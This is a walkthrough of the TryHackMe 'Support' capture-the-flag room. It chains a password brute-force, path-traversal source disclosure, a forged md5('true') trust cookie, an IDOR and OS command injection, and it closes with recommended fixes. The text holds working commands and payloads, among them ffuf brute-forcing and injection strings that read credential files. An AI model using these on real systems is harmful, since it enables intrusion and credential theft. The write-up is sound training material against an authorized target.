Support
A brute-forced helpdesk login leads to a theme parameter that discloses PHP source, which reveals a forgeable md5('true') trust cookie for the admin flag, an IDOR, and an OS command injection whose |/; bypass reads cleartext creds and the user flag.
TryHackMe: Support — From a Brute-Forced Login to a Forgeable Admin Cookie and Command Injection
A walkthrough of the “Support” challenge from TryHackMe. A helpdesk panel falls to a chain of small web flaws: a password we brute-force, a “theme” parameter that leaks the app’s own PHP source, a trust cookie that is just md5('true')**, an IDOR in the internal user API, and finally an OS command injection whose filter is bypassed with | or ;**. Two flags drop along the way — one from forging the admin cookie, one from reading a file via command injection.
Both flags and all credentials are redacted. The public MD5 digests of the words
true/falseare kept because they are the technique. Support is an authorized training room on TryHackMe; everything here was performed against a legal practice target. Values shown as<redacted>orTHM{<redacted>}are real on the box but withheld here.
TL;DR — the whole chain
TL;DR
ffuf brute-forces the helpdesk password for help@support.thm → the dashboard carries a trust cookie isITUser equal to md5('false') → the “Select Theme” feature (dashboard.php?skin=) does a readfile() and, with ?skin=../<name>, discloses the PHP source of dashboard.php, api.php, config.php → the source reveals the gate isITUser !== md5('true') -> die, an IDOR, and an OS command runner → set isITUser = md5('true') (forgeable trust cookie) to unlock the IT Admin Panel and print the admin flag → the API’s /user/<id> is an IDOR (/user/1 = specialadmin, admin) → the dashboard’s sys parameter runs a shell command; a |/; bypasses the filter → sys=date|cat /var/www/db.php leaks cleartext creds and sys=date|cat /home/ubuntu/user.txt yields the user flag.
A guessed password, a source leak, a one-line cookie forgery, and a command injection.
The target
export IP=<target-ip>
nmap -sC -sV shows SSH and an Apache “Support Operations Panel”:
22/tcp open ssh OpenSSH 9.6p1 Ubuntu
80/tcp open http Apache httpd 2.4.58 ((Ubuntu)) |_http-title: Support Operations Panel
The site is a login panel; gobuster finds /includes, /js, /layout, and /skins — the last one is a clue we come back to.
Step 1 — brute-force the helpdesk login
The login expects an email + password. Knowing a plausible helpdesk address (help@support.thm), we brute-force the password against rockyou, filtering out the known failed-login size:
ffuf -w rockyou.txt -X POST \
-d "email=help@support.thm&password=FUZZ" \
-H "Content-Type: application/x-www-form-urlencoded" \
-u http://$IP -fs 2678
# <redacted> [Status: 302, Size: 0] <- successful login redirect
Logging in lands on dashboard.php — “Welcome, Helpdesk User”, a ticket management system.
The vulnerability — a theme parameter that leaks source
The dashboard’s “Select Theme” control reloads with ?skin=.... Reading the app’s own source (via that same parameter) shows why that is dangerous:
# dashboard.php (leaked via ?skin=../dashboard)
$isIT = $_COOKIE['isITUser'] ?? md5("false");
$skin = $_GET['skin'] ?? 'default';
$webRoot = realpath('/var/www/html/skins');
$another = realpath('/var/www/html');
$requested = realpath($webRoot . '/' . $skin . '.php');
if ($requested !== false && strpos($requested, $another) === 0) {
readfile($requested); // reads any *.php under the web root
}
Insight
Two design mistakes meet here. First, skin is only confined to /var/www/html, not to /skins, so ?skin=../api, ?skin=../config, ?skin=../dashboard read the raw PHP source of each file (readfile, not include). Second, that source hands us the keys: the “are you IT staff?” check is just isITUser !== md5('true') — a value the client controls. Source disclosure plus a client-side trust cookie is the whole front end.
Step 2 — read api.php and config.php
With the source-disclosure primitive we pull the rest of the app:
# api.php (via ?skin=../api)
if (($_COOKIE['isITUser'] ?? md5('false')) !== md5('true')) { die('Access denied'); }
include('/var/www/db.php');
$id = $_GET['id'] ?? $_SESSION['user_id']; // <- IDOR
$user = $users[$id] ?? null;
if (preg_match('#^/user/#', $_SERVER['REQUEST_URI'])) {
unset($user['password']); echo json_encode($user, JSON_PRETTY_PRINT);
}
# config.php (via ?skin=../config)
$MASTER_PASSWORD = '<redacted>';
Now we know exactly how to look like IT staff, and that /user/<id> is an IDOR.
Step 3 — forge the IT/admin cookie (and grab the admin flag)
The gate compares our cookie to md5('true'). These digests are not secrets — they are the public MD5s of the literal strings:
md5('false') = 68934a3e9455fa72420237eb05902327 (the default cookie)
md5('true') = b326b5062b2f0e69046810717534cb09 (what the gate wants)
Set the cookie and reload the dashboard:
Cookie: isITUser=b326b5062b2f0e69046810717534cb09
The IT Admin Panel appears, and with it an “Administrator Access Confirmed” banner — the first flag:
THM{<redacted>} # admin flag
Step 4 — IDOR in the internal user API
The IT Admin Panel’s “View API” (api.php) says a helpdesk user can query their own profile at /user/3. Because id is taken straight from the request, we can walk other users:
GET /user/3 -> { "email": "help@support.thm", "2FA": false, "admin": false }
GET /user/1 -> { "email": "specialadmin@support.thm", "2FA": false, "admin": true }
/user/1 is specialadmin, an administrator — classic insecure direct object reference.
Step 5 — OS command injection (and the user flag)
The dashboard has a small sys form (a <select> whose options run date). The value is passed to a shell command behind a filter, but a shell separator slips through — | and ; both work. First, list the web root:
POST /dashboard.php
sys=date|ls
# -> api.php config.php dashboard.php footer.php includes
# index.php info.php js layout logout.php skins
Then read the included DB file, which stores every credential in cleartext:
sys=date|cat /var/www/db.php
# $users = [
# 1 => [ 'email'=>'specialadmin@support.thm', 'password'=>'<redacted>', '2FA'=>false, 'admin'=>true ],
# 2 => [ 'email'=>'IT@support.thm', 'password'=>'<redacted>', '2FA'=>false, 'admin'=>false ],
# 3 => [ 'email'=>'help@support.thm', 'password'=>'<redacted>', '2FA'=>false, 'admin'=>false ],
# ];
Finally, read the user flag straight off disk:
sys=date|cat /home/ubuntu/user.txt
# THM{<redacted>} # user flag
Guessed password → source leak → forged cookie (admin flag) → IDOR → command injection (creds + user flag).
Impact
Critical
Critical — CVSS 3.1 9.8 (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H). The box stacks five independent web flaws:
- Weak credentials — a helpdesk password guessable from
rockyou. - Arbitrary file read / source disclosure — the
skinparameter leaks every PHP file, exposing logic and secrets. - Authentication bypass via a forgeable trust cookie — “are you an admin?” is
md5('true'), which anyone can set. - IDOR —
/user/<id>exposes other users’ records, including the admin. - OS command injection — the
sysparameter runs attacker input, giving full file read (cleartext DB creds) and the user flag, i.e. remote code execution.
Recommended fix
Fix
- Enforce strong credentials and rate-limiting / lockout so the login can’t be brute-forced.
- Confine the theme loader to an allow-list of known skin names; never pass user input into
readfile()/realpath()for paths, and keep it inside the intended directory. - Make trust decisions server-side. Store role/privilege in a signed, server-side session — never a client cookie, least of all
md5('true'). - Enforce object-level authorization on
/user/<id>so a user can only read their own record. - Never pass user input to a shell. Drop the command runner, or use a fixed command with no user-controlled arguments; an allow-list beats any character blacklist. Also stop storing passwords in cleartext in
db.php.
Takeaways
- A brute-forceable password is still the front door. Everything after it depended on that first weak credential.
- Source disclosure is a force multiplier. Reading
api.php/config.phpturned guesswork into a precise plan — the cookie gate and the IDOR were handed to us. md5('true')is not authentication. Any value the client sets and the server merely compares is forgeable by definition.- Character blacklists don’t stop command injection.
|and;walked straight through; only removing the shell call (or a strict allow-list) actually fixes it.
Thanks for reading. Support is a tidy stack of everyday web bugs — weak password, source leak, client-side trust, IDOR, command injection — each small, together more than enough to own the box twice over.